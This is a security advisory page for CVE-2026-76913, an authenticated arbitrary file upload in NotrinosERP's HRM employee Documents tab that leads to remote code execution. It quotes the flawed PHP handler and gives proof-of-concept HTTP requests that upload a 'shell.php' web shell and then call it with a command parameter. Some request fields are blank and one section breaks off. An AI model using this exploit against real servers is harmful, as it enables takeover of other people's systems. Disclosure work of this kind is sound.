A AegiFlow
HIGHCVSS 8.8

CVE-2026-76913

NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)

Published
2026-07-10
Modified
2026-10-27
Aliases
GHSA-qv4m-m73m-8hj7
Sources
github-advisory

Summary

#### Summary An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web-served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server. #### Details The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim: ```php // hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573) $upload_dir = company_path().'/documents/employees'; if (!file_exists($upload_dir)) mkdir($upload_dir, 0777, true); $file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name']; if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... } ``` There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile-photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern. Reachability of the written file: - `company_path()` resolves under the web root; `config.default.php` sets `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`. - The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log` only — it does **not** block `.php` and does **not** cover `company/`. - The stored path is then echoed **unescaped** into a clickable "View" link (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79). A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`. #### Proof of Concept The upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by `check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the hidden `_token`, then submit. Against your **own** local instance: ```http POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1 Host: Cookie: Content-Type: multipart/form-data; boundary=b --b Content-Disposition: form-data; name="_token" --b Content-Disposition: form-data; name="doc_type_id" --b Content-Disposition: form-data; name="doc_name" x --b Content-Disposition: form-data; name="doc_file"; filename="shell.php" Content-Type: application/x-php --b Content-Disposition: form-data; name="save_document" Save Document --b-- ``` Then request the stored file (its exact path is shown in the Documents tab's "View" link): ```http GET /company/0/documents/employees/1_ _shell.php?c=id HTTP/1.1 ``` The command in `c` executes on the server. #### Validation (performed locally, no network) The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_ _shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload: ``

Affected packages

EcosystemPackageAffected versionsFixed versions
Packagistnotrinos/notrinos-erp—1.1.0

Remediation: Upgrade to 1.1.0 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.

CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.